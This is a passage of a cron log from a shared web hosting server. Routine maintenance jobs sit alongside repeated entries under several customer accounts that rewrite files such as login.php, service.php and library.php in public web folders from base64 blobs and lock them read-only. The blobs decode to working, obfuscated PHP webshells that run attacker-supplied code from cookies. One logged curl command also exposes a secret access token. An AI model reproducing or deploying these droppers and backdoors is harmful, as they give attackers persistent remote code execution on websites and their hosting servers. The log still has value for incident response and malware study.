W0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:25:01 medusa CROND[25691]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:25:01 medusa CROND[25692]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:25:01 medusa CROND[25693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:25:01 medusa CROND[25698]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:25:01 medusa CROND[25697]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:25:01 medusa CROND[25699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:25:01 medusa CROND[25703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:25:01 medusa CROND[25705]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:25:01 medusa CROND[25706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:25:01 medusa CROND[25710]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:25:01 medusa CROND[25702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:25:01 medusa CROND[25712]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:25:01 medusa CROND[25713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:25:01 medusa CROND[25716]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:25:01 medusa CROND[25696]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:25:01 medusa CROND[25709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:25:01 medusa CROND[25723]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:25:01 medusa CROND[25724]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:26:01 medusa CROND[18013]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:26:01 medusa CROND[18014]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:26:01 medusa CROND[18017]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:26:01 medusa CROND[18015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:26:01 medusa CROND[18018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:26:01 medusa CROND[18016]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:26:01 medusa CROND[18019]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:26:01 medusa CROND[18026]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:26:01 medusa CROND[18027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:26:01 medusa CROND[18028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:26:01 medusa CROND[18033]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:26:01 medusa CROND[18036]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:26:01 medusa CROND[18037]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:26:01 medusa CROND[18097]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:27:01 medusa CROND[10992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:27:01 medusa CROND[10995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:27:02 medusa CROND[11079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:27:02 medusa CROND[11080]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:27:02 medusa CROND[11084]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:27:02 medusa CROND[11086]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:27:02 medusa CROND[11085]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1IC